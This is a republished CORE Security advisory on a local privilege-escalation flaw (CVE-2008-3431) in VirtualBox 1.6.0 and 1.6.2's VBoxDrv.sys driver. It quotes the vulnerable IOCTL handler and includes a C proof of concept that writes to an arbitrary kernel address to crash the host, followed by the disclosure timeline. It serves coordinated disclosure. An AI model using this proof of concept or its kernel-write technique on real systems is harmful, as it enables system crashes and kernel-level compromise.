|
|
|
|
| |
Credit:
The information has been provided by CORE Security Technologies Advisories.
The original article can be found at: http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability
|
| |
Vulnerable Systems:
* Sun xVM VirtualBox version 1.6.2
* Sun xVM VirtualBox version 1.6.0
Immune Systems:
* Sun xVM VirtualBox version 1.6.4
Technical Description / Proof of Concept Code:
When the VirtualBox package is installed on a host the 'VBoxDrv.sys' driver is loaded on the machine. This driver allows any unprivileged user to open the device '\\.\VBoxDrv' and issue IOCTLs with a buffering mode of METHOD_NEITHER without any kind of validation. This allows untrusted user mode code to pass arbitrary kernel addresses as arguments to the driver.
With specially constructed input, a malicious user can use functionality within the driver to patch kernel addresses and execute arbitrary code in kernel mode. When handling IOCTLs a communication method must be pre-defined between the user-mode application and the driver module. The selected method will determine how the I/O Manager manipulates memory buffers used in the communication.
The 'METHOD_NEITHER' is a very dangerous method because the pointer passed to 'DeviceIoControl' as input or output buffer will be sent directly to the driver, thus transferring it the responsibility of doing the proper checks to validate the addresses sent from user mode.
The 'VBoxDrv.sys' driver uses the 'METHOD_NEITHER' communication method when handling IOCTLs request and does not validate properly the buffer sent in the Irp object allowing an attacker to write to any memory address in the kernel-mode.
Let's see the bug on the source. This is the function used to handle the IOCTL requests at 'SUPDrv-win.cpp'.
/-----------
NTSTATUS _stdcall VBoxDrvNtDeviceControl(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
PSUPDRVDEVEXT pDevExt = (PSUPDRVDEVEXT)pDevObj->DeviceExtension;
PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(pIrp);
PSUPDRVSESSION pSession = (PSUPDRVSESSION)pStack->FileObject->FsContext;
/*
* Deal with the two high-speed IOCtl that takes it's arguments from
* the session and iCmd, and only returns a VBox status code.
*/
ULONG ulCmd = pStack->Parameters.DeviceIoControl.IoControlCode;
if ( ulCmd == SUP_IOCTL_FAST_DO_RAW_RUN
(1) || ulCmd == SUP_IOCTL_FAST_DO_HWACC_RUN
|| ulCmd == SUP_IOCTL_FAST_DO_NOP)
{
KIRQL oldIrql;
int rc;
/* Raise the IRQL to DISPATCH_LEVEl to prevent Windows from rescheduling us to another CPU/core. */
Assert(KeGetCurrentIrql() <= DISPATCH_LEVEL);
KeRaiseIrql(DISPATCH_LEVEL, &oldIrql);
(2) rc = supdrvIOCtlFast(ulCmd, pDevExt, pSession);
KeLowerIrql(oldIrql);
/* Complete the I/O request. */
NTSTATUS rcNt = pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = sizeof(rc);
__try
{
(3) *(int *)pIrp->UserBuffer = rc;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
rcNt = pIrp->IoStatus.Status = GetExceptionCode();
dprintf(("VBoxSupDrvDeviceContorl: Exception Code %#x\n", rcNt));
}
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return rcNt;
}
return VBoxDrvNtDeviceControlSlow(pDevExt, pSession, pIrp, pStack);
}
-----------/
At (1), we can see the sentence checking the IOCTL code. The constants use are defined at 'SUPDrvIOC.h' in this way:
/-----------
#define SUP_IOCTL_FAST_DO_RAW_RUN SUP_CTL_CODE_FAST(64)
/** Fast path IOCtl: VMMR0_DO_HWACC_RUN */
#define SUP_IOCTL_FAST_DO_HWACC_RUN SUP_CTL_CODE_FAST(65)
/** Just a NOP call for profiling the latency of a fast ioctl call to
VMMR0. */
#define SUP_IOCTL_FAST_DO_NOP SUP_CTL_CODE_FAST(66)
-----------/
With the macro 'SUP_CTL_CODE_FAST()' defined in the same file:
/-----------
#define SUP_CTL_CODE_FAST(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, (Function)
| SUP_IOCTL_FLAG, METHOD_NEITHER,
FILE_WRITE_ACCESS)
-----------/
Now we know that the communication method used will be 'METHOD_NEITHER ' (this could also be easily seen by looking at the resulting IOCTL code in the disassembled binary).
Then at (2) the value returned by 'supdrvIOCtlFast()' is saved in 'rc' and this is where the problem starts because at (3), the value in 'rc' is written directly to the buffer pointer sent from usermode without any check to validate that it is really pointing to an usermode address or even a valid one.
In this scenario, it is possible to feed the IOCTL with kernel addresses to write the value returned by 'supdrvIOCtlFast()' ANY address in kernel space memory as many times as necessary to modify kernel code or kernel pointers to subsequently get code execution in ring 0 context (that means, with system privileges).
This is the Proof of Concept Anibal has made to trigger and show the vulnerability. This will generate a Blue Screen of Death (BSOD) trying to write to an unpaged kernel mode address (0x80808080) but any other
arbitrary address could be used.
/-----------
// Author: Anibal Sacco (aLS)
// Contact: anibal.sacco@coresecurity.com
// anibal.sacco@gmail.com
// Organization: Core Security Technologies
#include <windows.h/>
#include <stdio.h/>
int main(int argc, char **argv)
{
HANDLE hDevice;
DWORD cb;
char szDevice[] = "\\\\.\\VBoxDrv";
if ( (hDevice = CreateFileA(szDevice,
GENERIC_READ|GENERIC_WRITE,
0,
0,
OPEN_EXISTING,
0,
NULL) ) != INVALID_HANDLE_VALUE )
{
printf("Device %s succesfully opened!\n", szDevice);
}
else
{
printf("Error: Error opening device %s\n",szDevice);
}
cb = 0;
if (!DeviceIoControl(hDevice,
0x228103,
(LPVOID)0x80808080,0,
(LPVOID)0x80808080,0x0,
&cb,
NULL))
{
printf("Error in DeviceIo ... bytes returned %#x\n",cb);
}
}
-----------/
Report Timeline:
2008-07-16: Core Security Technologies notifies the VirtualBox team of the vulnerability.
2008-07-17: Vendor acknowledges notification.
2008-07-29: Core asks the vendor for a status update in the fixing process.
2008-07-30: Vendor notifies a patched version will be publicly available on Monday 4th, August.
2008-07-31: Core asks the vendor to provide URL to their alert and to confirm which versions are vulnerable and which version will include the fix.
2008-07-31: CVE ID request sent to Mitre.
2008-07-31: Bugtraq ID request sent to SecurityFocus.com.
2008-07-31: CVE ID received from Mitre.
2008-07-31: Bugtraq ID received SecurityFocus.com.
2008-08-01: Vendor provides draft version of Sun Alert and URL to reference it.
2008-08-01: Core updates its security advisory with information about vulnerable and non-vulnerable packages. Core provides its URL to the vendor and indicates that the vendor cataloged the issue as a Denial of Service bug but it should be considered a privilege escalation problem since it allows unprivileged users to execute code in the kernel context.
2008-08-04: Vendor confirms that this issue can lead to arbitrary code execution by an unprivileged user.
2008-08-04: CORE-2008-0716 advisory is published.
References:
[1] Sun Welcomes Innotek - http://www.sun.com/software/innotek/
[2] http://www.sun.com/aboutsun/pr/2008-05/sunflash.20080529.1.xml
Vendor Information, Solutions and Workarounds:
No workarounds exist for this issue. A security bulletin from the vendor that describes this issue is available here:
http://sunsolve.sun.com/search/document.do?assetkey=1-66-240095-1
CVE Information:
CVE-2008-3431
|
|
|
|
|
